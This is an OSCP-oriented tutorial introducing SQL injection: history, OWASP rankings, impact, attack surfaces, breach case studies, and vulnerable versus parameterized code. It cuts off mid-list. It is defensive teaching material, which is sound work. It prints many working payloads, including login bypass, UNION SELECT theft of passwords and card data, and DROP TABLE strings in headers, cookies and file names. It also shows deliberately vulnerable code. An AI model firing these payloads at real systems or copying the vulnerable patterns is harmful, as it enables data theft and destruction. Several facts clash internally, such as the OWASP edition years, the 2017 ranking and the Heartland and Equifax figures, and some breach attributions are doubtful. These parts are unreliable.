Introduction to SQL Injection
Table of Contents
- What is SQL Injection?
- History and Evolution of SQLi
- OWASP Top 10 Relevance and Ranking History
- Impact Matrix
- Attack Surface Analysis
- Real-World SQLi Breach Case Studies
- The Anatomy of a Vulnerable Application
- Why SQLi Remains Relevant Despite Modern Frameworks
- Prerequisites for Learning SQLi
- SQLi in the OSCP Exam Context
1. What is SQL Injection?
Definition
SQL Injection (SQLi) is a code injection technique that exploits security vulnerabilities in an application’s software layer. These vulnerabilities occur when user-supplied input is improperly sanitized before being included in SQL queries sent to a database server. An attacker can manipulate these queries to:
- Read, modify, or delete sensitive data from the database
- Bypass authentication mechanisms
- Execute administrative operations (backup/restore databases)
- In some cases, gain command execution on the underlying operating system
- Deny service to legitimate users
How It Works — The Core Concept
At its heart, SQL injection works by breaking out of the intended SQL query structure and injecting malicious SQL commands. Consider the following flow:
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐ ┌────────────┐
│ Attacker │────▶│ Web Application │────▶│ Query Builder │────▶│ Database │
│ (Browser) │ │ (Input Handler) │ │ (String Concat)│ │ Server │
└─────────────┘ └──────────────────┘ └─────────────────┘ └────────────┘
│ │ │ │
│ Input: ' OR 1=1-- │ │ SELECT * FROM │
│ │ │ users WHERE │
│ │ │ user='' OR 1=1--' │
│ │ │ │
└─────────────────────────────────────────────────────────────────────┘
Returns ALL users!
A Concrete Example
Vulnerable code (PHP):
// VULNERABLE — never do this
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
Normal user input:
username: admin
password: secret123
Generated query:
SELECT * FROM users WHERE username='admin' AND password='secret123'
Malicious input (authentication bypass):
username: admin' --
password: (anything)
Generated query:
SELECT * FROM users WHERE username='admin' --' AND password='(anything)'
^^^ comment out the rest
The -- is a SQL comment delimiter. Everything after it is ignored, so the password check is completely bypassed. The query effectively becomes:
SELECT * FROM users WHERE username='admin'
This returns the admin user record without verifying any password.
Types of SQL Injection
| Type | Description | Detection Method | Data Extraction |
|---|---|---|---|
| In-band (Classic) | Attack and data retrieval use the same channel | Error messages appear in HTTP response | Direct, via error messages or UNION queries |
| Blind (Boolean-based) | Attacker infers data from True/False responses | Page content differs based on query result | Indirect, one bit at a time |
| Blind (Time-based) | Attacker infers data from response delays | Response time varies based on query result | Indirect, via timing differences |
| Out-of-band | Attacker uses different channels (DNS, HTTP) | External server receives requests from DB | Via DNS queries or HTTP callbacks |
Why SQLi Is So Dangerous
- Databases are treasure troves — they contain user credentials, PII, financial data, intellectual property
- Databases often run with elevated privileges — database accounts may have OS-level access
- SQL is Turing-complete — complex logic can be embedded in injected queries
- Chaining is possible — SQLi can lead to OS command execution, file read/write, and lateral movement
- Automation is trivial — tools like sqlmap can exploit SQLi with minimal human intervention
2. History and Evolution of SQLi
Timeline of SQL Injection
| Year | Milestone | Significance |
|---|---|---|
| 1998 | SQLi first documented on alt.html by David Litchfield | The vulnerability was publicly identified; the term “SQL injection” was coined |
| 1999 | First major SQLi attacks against commercial websites | Proof that SQLi was not just theoretical |
| 2002 | SQLi listed in OWASP Top 10 (first edition) | Recognized as a critical web vulnerability |
| 2003 | “The Database Hacker’s Handbook” published | Systematic treatment of SQLi techniques |
| 2005 | Heartland Payment Systems breach (discovered 2008) | One of the largest SQLi breaches — 130M+ card records |
| 2007 | sqlmap released (version 0.1) | First major automated SQLi exploitation tool |
| 2008 | OWASP ranks SQLi as #1 vulnerability | Highest ranking in OWASP Top 10 |
| 2009 | Second-generation SQLi discovered | Stored SQLi where injected payload executes later |
| 2011 | OWASP Top 10 — SQLi remains #1 | Despite awareness, prevalence unchanged |
| 2013 | OWASP Top 10 — SQLi remains #1 | Third consecutive year at the top |
| 2015 | TalkTalk breach — 157,000 customers affected | High-profile UK breach via SQLi |
| 2017 | OWASP Top 10 — SQLi drops to #5 | Replaced at #1 by Injection (broader category) |
| 2017 | Equifax breach — 147M records exposed | Caused by unpatched Apache Struts, but SQLi used for data exfiltration |
| 2021 | OWASP Top 10 — SQLi under “Injection” (A03) | Part of broader injection category |
| 2023 | OWASP Top 10 — SQLi under “Injection” (A03) | Continued relevance in modern applications |
| 2024-Present | AI-assisted SQLi attacks emerging | LLMs lowering the barrier to SQLi exploitation |
Evolution of Attack Techniques
Phase 1: Error-Based (1998-2005)
├── Simple quote injection
├── Authentication bypass
└── Data extraction via error messages
Phase 2: UNION-Based (2005-2010)
├── UNION SELECT for data extraction
├── Column enumeration
└── Schema discovery
Phase 3: Blind SQLi (2007-2015)
├── Boolean-based inference
├── Time-based inference
├── Automated tools (sqlmap)
└── WAF evasion techniques
Phase 4: Advanced & Chained (2015-Present)
├── Second-order SQLi
├── NoSQL injection
├── ORM-based injection
├── HTTP parameter pollution + SQLi
├── AI-assisted payload generation
└── Cloud database exploitation
Key Historical Lessons
- SQLi was known for 25+ years — yet it remains prevalent, proving that awareness alone does not eliminate vulnerabilities
- The vulnerability is in the application logic, not the database — no database vendor has ever released a “SQLi patch” because the problem is how applications construct queries
- Automation made SQLi a mass-exploitation vector — sqlmap turned a skilled-attacker-only vulnerability into something script kiddies could exploit
- Modern frameworks help but don’t eliminate the risk — ORMs, prepared statements, and parameterized queries reduce risk but can be misused
3. OWASP Top 10 Relevance and Ranking History
OWASP Top 10 Rankings Over Time
| OWASP Edition | Year | SQLi Ranking | Category Name | Notes |
|---|---|---|---|---|
| OWASP Top 10 | 2003 | #1 | Injection Flaws | First appearance at the top |
| OWASP Top 10 | 2004 | #1 | Injection Flaws | Consolidated category |
| OWASP Top 10 | 2007 | #1 | Injection Flaws | SQLi as primary sub-type |
| OWASP Top 10 | 2010 | #1 | Injection | Broadened to all injection types |
| OWASP Top 10 | 2013 | #1 | Injection | SQLi still the dominant sub-type |
| OWASP Top 10 | 2017 | #5 | Injection | Dropped due to improved defenses |
| OWASP Top 10 | 2021 | A03 | Injection | Risk-based categorization |
| OWASP Top 10 | 2024 | A03 | Injection | Maintained in risk-based model |
Why SQLi Dominated the OWASP Rankings
For over a decade, SQLi held the #1 position because:
- Prevalence: Surveys consistently showed 50-70% of web applications were vulnerable
- Severity: SQLi could lead to complete database compromise
- Ease of exploitation: No special tools required — a browser and basic SQL knowledge sufficed
- Business impact: Financial losses from SQLi breaches ran into billions
The Shift to “Injection” as a Broader Category
In 2017, OWASP consolidated SQLi under the broader Injection category (A01:2017, A03:2021, A03:2024). This category now includes:
| Injection Type | Description |
|---|---|
| SQL Injection | Injecting SQL commands into database queries |
| NoSQL Injection | Injecting into MongoDB, CouchDB, etc. |
| OS Command Injection | Injecting OS commands via application functions |
| LDAP Injection | Injecting into LDAP directory queries |
| XPath Injection | Injecting into XML XPath queries |
| XML Injection (XXE) | Injecting malicious XML entities |
| Expression Language Injection | Injecting into EL/SPEL expressions |
| Template Injection | Injecting into server-side templates (SSTI) |
OWASP’s Stance on SQLi (2024)
“Injection flaws occur when an application sends untrusted data to an interpreter. SQL injection remains the most common and dangerous form of injection, despite the availability of well-known mitigations.”
4. Impact Matrix
SQL Injection Impact Classification
| Impact Level | CIA Triad Impact | Description | Real-World Example |
|---|---|---|---|
| Low | Confidentiality: Minor data exposure | Extract non-sensitive data (e.g., product listings already public) | Extracting public product catalog via UNION injection |
| Medium | Confidentiality: Sensitive data exposure | Access user emails, names, non-critical PII | Extracting user email addresses for phishing campaigns |
| High | Confidentiality + Integrity: Data theft and modification | Full database access, credential theft, data manipulation | Heartland Payment Systems — 130M+ credit card records stolen |
| Critical | Confidentiality + Integrity + Availability: Complete system compromise | Full database dump, OS command execution, ransomware deployment, complete business disruption | Equifax — 147M records exposed; potential for total infrastructure compromise |
Detailed Impact Scenarios
Low Impact
Scenario: An e-commerce site has a search function vulnerable to SQLi.
Attacker Action: UNION SELECT to extract product IDs and names.
Impact: Data already publicly visible through the website.
Risk: Low — but indicates a vulnerability that could be escalated.
Medium Impact
Scenario: A forum application has SQLi in the user profile page.
Attacker Action: Extract usernames, email addresses, and registration dates.
Impact: PII exposure enabling targeted phishing attacks.
Risk: Medium — facilitates further attacks against users.
High Impact
Scenario: A banking application has SQLi in the login form.
Attacker Action: Extract all user credentials, account numbers, and transaction history.
Impact: Complete financial data exposure, identity theft, fraud.
Risk: High — direct financial loss and regulatory penalties.
Critical Impact
Scenario: A healthcare portal has SQLi with a privileged database account.
Attacker Action:
1. Extract all patient records (PHI)
2. Modify medical records
3. Use xp_cmdshell to execute OS commands
4. Deploy ransomware on the database server
Impact: Patient safety risk, HIPAA violations, complete system destruction.
Risk: Critical — life safety, regulatory, and existential business risk.
Impact by Database Privilege Level
| Database Account Privilege | Possible Actions | Impact Level |
|---|---|---|
| Read-only | SELECT data from accessible tables | Low to Medium |
| Read/Write | SELECT, INSERT, UPDATE, DELETE data | Medium to High |
| DDL privileges | CREATE/DROP tables, modify schema | High |
| DBA/Admin | Full control, backup/restore, xp_cmdshell (MSSQL) | Critical |
| SA/root with OS access | Complete server compromise, lateral movement | Critical |
Financial Impact Statistics
| Metric | Value | Source |
|---|---|---|
| Average cost of SQLi breach | $4.45 million | IBM Cost of Data Breach Report 2023 |
| Average time to identify SQLi breach | 204 days | IBM Cost of Data Breach Report 2023 |
| Average time to contain SQLi breach | 62 days | IBM Cost of Data Breach Report 2023 |
| Percentage of breaches involving SQLi | ~25% of web app breaches | Verizon DBIR 2023 |
| Regulatory fines for data breaches | Up to 4% of global revenue (GDPR) | EU GDPR |
5. Attack Surface Analysis
SQL injection can occur anywhere user-controlled input reaches a SQL query. The attack surface is far broader than most developers realize.
Complete Attack Surface Map
┌─────────────────────────────────────────────┐
│ SQL INJECTION ATTACK SURFACE │
└─────────────────────────────────────────────┘
│
┌───────────┬───────────┬───┴───┬───────────┬───────────┐
▼ ▼ ▼ ▼ ▼ ▼
┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐
│ GET │ │ POST │ │Headers │ │Cookies │ │ URL │ │ File │
│Params │ │ Body │ │ │ │ │ │ Path │ │ Upload │
└────────┘ └────────┘ └────────┘ └────────┘ └────────┘ └────────┘
5.1 GET Parameters
The most common and easiest attack vector. Input is visible in the URL.
Vulnerable URL:
https://example.com/products.php?id=1
Injected URL:
https://example.com/products.php?id=1' OR '1'='1
https://example.com/products.php?id=1 UNION SELECT username,password FROM users--
https://example.com/products.php?id=1; WAITFOR DELAY '0:0:5'--
Why GET is dangerous:
- URLs are logged in server access logs, browser history, and proxy logs
- URLs can be shared, bookmarked, and cached
- Easy to automate with tools
5.2 POST Body
Commonly used in login forms, search forms, and data submission pages.
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything
POST /search.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query=' UNION SELECT credit_card,cvv FROM payments--
Why POST is dangerous:
- Not visible in URLs, so less likely to be noticed
- Can carry larger payloads
- Often used for authentication (highest impact)
5.3 HTTP Headers
Often overlooked but frequently vulnerable.
Vulnerable Header: User-Agent
Request:
GET / HTTP/1.1
Host: example.com
User-Agent: ' UNION SELECT username,password FROM users--
Vulnerable Header: Referer
Request:
GET /page HTTP/1.1
Host: example.com
Referer: https://example.com/search?q=' OR 1=1--
Vulnerable Header: X-Forwarded-For
Request:
GET /admin HTTP/1.1
Host: example.com
X-Forwarded-For: ' UNION SELECT * FROM credentials--
Vulnerable Header: Cookie
Request:
GET /profile HTTP/1.1
Host: example.com
Cookie: session_id=' OR '1'='1
Common vulnerable headers:
| Header | Why It’s Vulnerable |
|---|---|
User-Agent |
Often logged to database for analytics |
Referer |
Logged for tracking and analytics |
X-Forwarded-For |
Used for IP-based access control, logged to DB |
Cookie |
Session IDs often looked up in database |
Authorization |
Bearer tokens may be validated against DB |
Accept-Language |
Sometimes used for localization queries |
X-Custom-Header |
Any custom header processed by the application |
5.4 Cookies
Normal Cookie:
Cookie: user_id=42
Injected Cookie:
Cookie: user_id=42' UNION SELECT credit_card FROM payments--
Cookie: session_token=' OR '1'='1
Why cookies are dangerous:
- Automatically sent with every request
- Often contain user identifiers used in database lookups
- Can be modified by the attacker via browser dev tools
- Persistent cookies survive browser restarts
5.5 URL Paths
Vulnerable URL path:
https://example.com/users/42
Injected URL path:
https://example.com/users/42' UNION SELECT password FROM admin--
https://example.com/api/v1/products/1'; DROP TABLE products;--
Why URL paths are dangerous:
- Modern frameworks use RESTful routing
- Path parameters are often used directly in queries
- May bypass input validation focused on query parameters
5.6 File Uploads
Scenario: Filename used in database query
Vulnerable code:
$file_name = $_FILES['upload']['name'];
$query = "INSERT INTO uploads (filename) VALUES ('$file_name')";
Malicious filename:
test.jpg'; DROP TABLE uploads;--
Why file uploads are dangerous:
- Filenames, metadata, and content may be stored in databases
- Often less validated than form fields
- Can combine with other vulnerabilities (file inclusion + SQLi)
5.7 Additional Attack Vectors
| Vector | Description | Example |
|---|---|---|
| JSON Body | API endpoints accepting JSON | {"id": "1' OR '1'='1"} |
| XML Body | SOAP/XML APIs | <id>1' OR '1'='1</id> |
| SOAP Headers | SOAP protocol headers | Injected into SOAPAction header |
| GraphQL | GraphQL query parameters | { users(id: "1' OR '1'='1") { name } } |
| Multi-value parameters | Same parameter sent multiple times | id=1&id=' OR '1'='1 |
| HTTP Parameter Pollution | Duplicate parameters with different values | Server may concatenate or choose one |
| Content-Type | MIME type stored in database | Content-Type: text/html'; DROP TABLE files;-- |
Attack Surface Summary Table
| Vector | Frequency | Detection Difficulty | Impact Potential | OSCP Relevance |
|---|---|---|---|---|
| GET Parameters | Very High | Low | High | ★★★★★ |
| POST Body | Very High | Low | High | ★★★★★ |
| Cookies | Medium | Medium | High | ★★★★☆ |
| HTTP Headers | Medium | High | Medium | ★★★☆☆ |
| URL Paths | Medium | Medium | High | ★★★★☆ |
| File Uploads | Low | High | Medium | ★★☆☆☆ |
| JSON/XML Body | Medium | Medium | High | ★★★☆☆ |
6. Real-World SQLi Breach Case Studies
Case Study 1: Heartland Payment Systems (2008)
| Attribute | Details |
|---|---|
| Company | Heartland Payment Systems (US payment processor) |
| Date Discovered | January 2009 (attack occurred 2008) |
| Records Affected | 130+ million credit/debit card records |
| Financial Impact | $100+ million in settlements and fines |
| Vulnerability | SQL injection in payment processing system |
| Attack Vector | SQLi on the payment gateway’s web application |
| Data Stolen | Card numbers, expiration dates, cardholder names |
What Happened: Attackers exploited SQL injection vulnerabilities in Heartland’s payment processing web application. They deployed a keystroke logger (keylogger) on the payment processing servers that captured card data as it was being swiped at point-of-sale terminals across the United States. The attack went undetected for months.
Key Lessons:
- SQLi can be used to deploy malware on backend servers
- Payment systems are high-value targets
- Detection took months — monitoring was insufficient
- The breach led to stricter PCI DSS requirements
Technical Details:
The attackers used SQLi to:
1. Gain initial access to the payment processing database
2. Escalate privileges to the application server
3. Install a keystroke logger on the server
4. Exfiltrate card data in real-time as transactions occurred
5. Maintain persistence for months
Case Study 2: TalkTalk (2015)
| Attribute | Details |
|---|---|
| Company | TalkTalk (UK telecommunications provider) |
| Date | September 2015 |
| Records Affected | 157,000 customers |
| Financial Impact | £12 million in fines and remediation costs |
| Vulnerability | SQL injection in customer portal |
| Attack Vector | SQLi in the customer self-service web application |
| Data Stolen | Names, addresses, dates of birth, bank account details |
What Happened: A lone attacker exploited an SQL injection vulnerability in TalkTalk’s customer portal. The attacker posted the exploit on Twitter, inviting others to participate. The breach exposed personal and financial data of 157,000 customers. The UK Information Commissioner’s Office (ICO) fined TalkTalk £12 million for inadequate security.
Key Lessons:
- SQLi can be exploited by individuals with minimal technical skill
- Social media can amplify the impact of a breach
- Regulatory fines can be substantial
- Customer-facing applications are prime targets
Technical Details:
The attacker:
1. Found SQLi in the customer portal's search functionality
2. Used the vulnerability to extract customer records
3. Published the exploit on Twitter
4. Other users joined in, extracting more data
5. TalkTalk had to shut down the portal to stop the bleeding
Case Study 3: Equifax (2017)
| Attribute | Details |
|---|---|
| Company | Equifax (US credit bureau) |
| Date | November 2017 (attack began mid-May 2017) |
| Records Affected | 147 million consumers |
| Financial Impact | $1.4 billion settlement |
| Initial Vulnerability | Unpatched Apache Struts (CVE-2017-5638) |
| SQLi Role | Used for data exfiltration after initial access |
| Data Stolen | Names, SSNs, DOBs, addresses, credit card numbers |
What Happened: While the initial entry point was an unpatched Apache Struts vulnerability (remote code execution), attackers used SQL injection techniques to query and exfiltrate data from Equifax’s databases. The attackers had access for 76 days before detection. The breach affected nearly half the US adult population.
Key Lessons:
- SQLi is often used as a secondary exploitation technique after initial access
- Patch management is critical — the Struts patch was available 30+ days before the attack
- Detection capabilities were insufficient — 76 days of undetected access
- The scale of impact was unprecedented
Technical Details:
Attack chain:
1. Exploit Apache Struts RCE (CVE-2017-5638)
2. Gain access to internal network
3. Discover Hadoop cluster containing consumer data
4. Use SQLi and direct database queries to exfiltrate data
5. Access 46,000+ consumer records across multiple databases
6. Maintain access for 76 days
Case Study 4: Sony Pictures (2011)
| Attribute | Details |
|---|---|
| Company | Sony Pictures Entertainment |
| Date | March 2011 |
| Records Affected | 76 million PlayStation Network users |
| Financial Impact | $171 million in losses |
| Vulnerability | SQL injection in PSN user database |
| Data Stolen | Names, addresses, emails, passwords, payment info |
What Happened: Attackers exploited SQL injection vulnerabilities in the PlayStation Network’s user database. The breach forced Sony to shut down PSN for 23 days, causing massive disruption to millions of gamers worldwide.
Case Study 5: Canada Revenue Agency (2011)
| Attribute | Details |
|---|---|
| Organization | Canada Revenue Agency (CRA) |
| Date | May 2011 |
| Records Affected | 2.8 million Canadians |
| Vulnerability | SQL injection in online tax filing system |
| Data Stolen | Tax returns, SINs, bank account details |
What Happened: Attackers exploited SQL injection in the CRA’s online tax filing portal. They accessed and downloaded tax information for 2.8 million Canadians, including Social Insurance Numbers and bank account details used for direct deposit of tax refunds.
Breach Comparison Table
| Breach | Year | Records | Cost | Primary Vector | SQLi Role |
|---|---|---|---|---|---|
| Heartland | 2008 | 130M+ | $100M+ | SQLi | Primary entry + malware deployment |
| Sony PSN | 2011 | 76M | $171M | SQLi | Primary data extraction |
| Canada CRA | 2011 | 2.8M | Unknown | SQLi | Primary entry and extraction |
| TalkTalk | 2015 | 157K | £12M | SQLi | Primary entry and extraction |
| Equifax | 2017 | 147M | $1.4B | RCE + SQLi | Secondary data extraction |
7. The Anatomy of a Vulnerable Application
How Developers Create SQLi Vulnerabilities
SQL injection vulnerabilities are created when three conditions are met:
Condition 1: User-controlled input reaches the application
AND
Condition 2: The input is incorporated into a SQL query
AND
Condition 3: The input is not properly sanitized or parameterized
Common Vulnerable Code Patterns
Pattern 1: String Concatenation (Most Common)
// PHP — VULNERABLE
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = mysqli_query($conn, $query);
# Python — VULNERABLE
username = request.args.get('username')
query = "SELECT * FROM users WHERE username = '" + username + "'"
cursor.execute(query)
// Java — VULNERABLE
String username = request.getParameter("username");
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// C# — VULNERABLE
string username = Request.QueryString["username"];
string query = "SELECT * FROM users WHERE username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);
SqlDataReader reader = cmd.ExecuteReader();
Pattern 2: Implicit String Interpolation
// PHP — VULNERABLE (double quotes allow variable interpolation)
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
// Node.js — VULNERABLE (template literals)
const username = req.query.username;
const query = `SELECT * FROM users WHERE username = '${username}'`;
# Ruby — VULNERABLE (string interpolation)
username = params[:username]
query = "SELECT * FROM users WHERE username = '#{username}'"
Pattern 3: Dynamic Table/Column Names
// PHP — VULNERABLE (table name injection)
$table = $_GET['table'];
$query = "SELECT * FROM $table WHERE id = 1";
// Attacker input: users; DROP TABLE users;--
// PHP — VULNERABLE (column name injection)
$sort = $_GET['sort'];
$query = "SELECT * FROM products ORDER BY $sort";
// Attacker input: price; DROP TABLE products;--
Pattern 4: Stored Procedures with Concatenation
-- SQL Server — VULNERABLE stored procedure
CREATE PROCEDURE GetUser @username VARCHAR(100)
AS
BEGIN
DECLARE @query VARCHAR(200)
SET @query = 'SELECT * FROM users WHERE username = ''' + @username + ''''
EXEC(@query)
END
Pattern 5: Second-Order SQLi
// PHP — VULNERABLE (second-order SQLi)
// Step 1: User registers with malicious username
$username = $_POST['username']; // Attacker inputs: admin' --
$password = $_POST['password'];
// This query executes safely (username is inserted, not executed)
$query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
mysqli_query($conn, $query);
// Step 2: Later, when the application retrieves the username
$stored_username = mysqli_query($conn, "SELECT username FROM users WHERE id = $user_id");
// $stored_username now contains: admin' --
// Step 3: This query is vulnerable
$query2 = "SELECT * FROM users WHERE username = '$stored_username'";
// Becomes: SELECT * FROM users WHERE username = 'admin' --'
Why These Patterns Are Vulnerable
┌─────────────────────────────────────────────────────────────────┐
│ THE FUNDAMENTAL PROBLEM │
│ │
│ The application cannot distinguish between: │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ DATA (Input) │ │ CODE (SQL) │ │
│ └─────────────────┘ └─────────────────┘ │
│ │
│ When user input is concatenated into SQL, the database │
│ interpreter sees it as code, not data. │
│ │
│ Example: │
│ Input: admin' OR '1'='1 │
│ Query: SELECT * FROM users WHERE username='admin' OR '1'='1' │
│ ^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ │
│ Intended data Injected code │
└─────────────────────────────────────────────────────────────────┘
Common Developer Mistakes
| Mistake | Description | Why It’s Wrong |
|---|---|---|
| Manual escaping only | Using addslashes() or mysqli_real_escape_string() |
Can be bypassed with encoding tricks; not foolproof |
| Whitelist validation | Checking input against allowed characters | Often incomplete; misses edge cases |
| Blacklist filtering | Removing known bad characters (', --, ;) |
Easily bypassed with alternative syntax |
| ORM misuse | Using raw queries within an ORM framework | Defeats the purpose of using an ORM |
| Trusting internal data | Assuming data from database/session is safe | Second-order SQLi exploits this assumption |
| Over-relying on WAF | Assuming a Web Application Firewall blocks all SQLi | WAFs can be bypassed; not a substitute for secure code |
The Secure Alternative: Parameterized Queries
// PHP — SECURE (prepared statements)
$username = $_GET['username'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
# Python — SECURE (parameterized query)
username = request.args.get('username')
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
// Java — SECURE (PreparedStatement)
String username = request.getParameter("username");
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
Why parameterized queries work:
┌─────────────────────────────────────────────────────────────┐
│ PARAMETERIZED QUERY PROTECTION │
│ │
│ The database driver sends the query structure and the │
│ data separately to the database server: │
│ │
│ Query Template: SELECT * FROM users WHERE username = ? │
│ Parameter: admin' OR '1'='1 │
│ │
│ The database treats the parameter as DATA only, │
│ never as executable SQL code. │
│ │
│ Result: The query searches for a literal username │
│ containing "admin' OR '1'='1" — no injection. │
└─────────────────────────────────────────────────────────────┘
8. Why SQLi Remains Relevant Despite Modern Frameworks
The Persistence Paradox
Despite being known since 1998 and having well-established mitigations, SQLi remains one of the most prevalent web vulnerabilities. Here’s why:
8.1 Legacy Systems
Estimated percentage of organizations with legacy systems: 60-80%
Legacy systems characteristics:
├── Built before modern security practices
├── Use outdated frameworks and libraries
├── Lack automated security testing
├── Difficult to refactor or replace
└── Often contain critical business logic
Many organizations still run applications built in the early 2000s that use direct string concatenation for SQL queries. These systems are often too critical or complex to replace.
8.2 Developer Knowledge Gaps
| Factor | Impact |
|---|---|
| New developers | May not be trained in secure coding practices |
| Rapid development cycles | Security is deprioritized for speed |
| Framework complexity | Modern frameworks have many ways to do things wrong |
| Copy-paste culture | Vulnerable code snippets spread via Stack Overflow, GitHub |
| Misunderstanding of ORMs | Developers think ORMs automatically prevent SQLi |
8.3 ORM Misuse
Even with Object-Relational Mappers (ORMs), SQLi is possible:
# Django — VULNERABLE (raw SQL in ORM)
User.objects.raw("SELECT * FROM users WHERE name = '%s'" % username)
# Django — SECURE
User.objects.filter(name=username)
# Hibernate — VULNERABLE (string concatenation in HQL)
session.createQuery("FROM User WHERE name = '" + username + "'")
# Hibernate — SECURE
session.createQuery("FROM User WHERE name = :name").setParameter("name", username)
8.4 NoSQL Injection
The rise of NoSQL databases introduced new injection vectors:
// MongoDB — VULNERABLE
const username = req.body.username;
const password = req.body.password;
db.users.find({username: username, password: password});
// Attacker input:
// username: {"$gt": ""}
// password: {"$gt": ""}
// This returns the first user in the collection
8.5 Microservices and APIs
Modern architectures increase the attack surface:
Traditional Monolith:
┌─────────────────┐
│ Web App │
│ (1 SQLi vector)│
└────────┬────────┘
│
┌────────▼────────┐
│ Database │
└─────────────────┘
Microservices:
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ Service 1│ │ Service 2│ │ Service 3│ │ Service 4│
│ (SQLi?) │ │ (SQLi?) │ │ (SQLi?) │ │ (SQLi?) │
└────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │ │
┌────▼─────┐ ┌────▼─────┐ ┌────▼─────┐ ┌────▼─────┐
│ DB 1 │ │ DB 2 │ │ DB 3 │ │ DB 4 │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
Each service is a potential SQLi vector!
8.6 Third-Party Components
Supply chain risk:
├── Open-source libraries with known vulnerabilities
├── Commercial components with unpatched flaws
├── Plugins and extensions (WordPress, Joomla, etc.)
└── CDN and CDN-connected services
8.7 Configuration Errors
| Error Type | Description |
|---|---|
| Debug mode enabled | Error messages reveal database structure |
| Default credentials | Database accounts with weak/default passwords |
| Over-privileged accounts | Application DB accounts with unnecessary privileges |
| Missing input validation | Framework defaults not properly configured |
| Insecure deserialization + SQLi | Chained vulnerabilities |
8.8 Statistics on Persistence
| Year | Study | Finding |
|---|---|---|
| 2020 | OWASP | 64% of developers admitted to writing vulnerable code |
| 2021 | Snyk | 91% of organizations used at least one vulnerable package |
| 2022 | Verizon DBIR | Injection attacks accounted for 17% of confirmed breaches |
| 2023 | IBM | SQLi remained in the top 5 most exploited vulnerabilities |
| 2024 | OWASP | Injection (including SQLi) ranked A03 in risk-based Top 10 |
9. Prerequisites for Learning SQLi
Before diving deep into SQL injection techniques, ensure you have a solid foundation in the following areas:
9.1 HTTP Protocol Fundamentals
| Topic | Why It Matters for SQLi | Key Concepts |
|---|---|---|
| HTTP Methods | Different methods carry input differently | GET, POST, PUT, DELETE, PATCH |
| HTTP Headers | Headers can be injection vectors | User-Agent, Cookie, Referer, Custom headers |
| HTTP Status Codes | Help identify injection responses | 200, 302, 403, 404, 500 |
| Cookies and Sessions | Session management often uses databases | Session cookies, authentication tokens |
| Content Types | Different content types may be processed differently | application/x-www-form-urlencoded, multipart/form-data, application/json |
Essential HTTP knowledge:
GET /search.php?q=laptop HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abc123
Accept: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: tracking=xyz789
<html>
<body>
<h1>Search Results for: laptop</h1>
<!-- Results here -->
</body>
</html>
9.2 SQL Fundamentals
| Topic | Why It Matters for SQLi | Key Commands |
|---|---|---|
| SELECT statements | Most common injection target | SELECT column FROM table WHERE condition |
| JOIN operations | Can be used to correlate data from multiple tables | INNER JOIN, LEFT JOIN |
| UNION operator | Primary data extraction technique | SELECT a FROM t1 UNION SELECT b FROM t2 |
| Subqueries | Used in blind SQLi and advanced attacks | SELECT * FROM t WHERE id = (SELECT id FROM t2) |
| Comments | Used to terminate injected queries | --, #, /* */ |
| String functions | Used in blind SQLi character extraction | SUBSTRING(), CHAR(), ASCII(), LENGTH() |
| Aggregate functions | Used in blind SQLi | COUNT(), MAX(), MIN() |
| Database metadata | Used for schema discovery | information_schema (MySQL), sysobjects (MSSQL) |
| Stored procedures | Can be exploited or used for escalation | EXEC(), xp_cmdshell (MSSQL) |
Must-know SQL dialects for OSCP:
| Database | Common in OSCP | Key Differences |
|---|---|---|
| MySQL/MariaDB | Very Common | -- (space after), #, GROUP_CONCAT(), LOAD_FILE() |
| PostgreSQL | Common | --, ;, COPY TO, pg_read_file() |
| Microsoft SQL Server | Common | --, ;, xp_cmdshell, EXEC(), UNION ALL |
| Oracle | Less Common | --, ;, DUAL table, UTL_HTTP |
| SQLite | Occasional | --, ;, UNION, limited functions |
9.3 Web Application Fundamentals
| Topic | Why It Matters for SQLi |
|---|---|
| Client-server architecture | Understanding where input is processed |
| Web frameworks | How frameworks handle input and database access |
| Authentication mechanisms | SQLi often targets login forms |
| Session management | Session data often stored in databases |
| APIs and REST | Modern applications use API endpoints |
| JavaScript and AJAX | Dynamic content may hide injection points |
9.4 Tools and Environment
| Tool | Purpose | OSCP Relevance |
|---|---|---|
| Burp Suite | Intercept and modify HTTP requests | Essential — primary tool for web testing |
| sqlmap | Automated SQLi detection and exploitation | Useful for verification, but manual skills are tested |
| Browser DevTools | Inspect network traffic and modify requests | Essential for initial reconnaissance |
| curl / wget | Command-line HTTP requests | Useful for automation and testing |
| Metasploit | Exploitation framework | Has SQLi modules for specific applications |
| Database clients | Direct database access for verification | MySQL client, psql, sqlcmd |
9.5 Learning Path Recommendation
Phase 1: Foundations (1-2 weeks)
├── HTTP protocol deep dive
├── SQL basics (SELECT, WHERE, JOIN, UNION)
├── Web application architecture
└── Burp Suite basics
Phase 2: SQLi Fundamentals (2-3 weeks)
├── Error-based SQLi
├── Boolean-based blind SQLi
├── Time-based blind SQLi
├── UNION-based SQLi
└── Authentication bypass
Phase 3: Advanced Techniques (2-3 weeks)
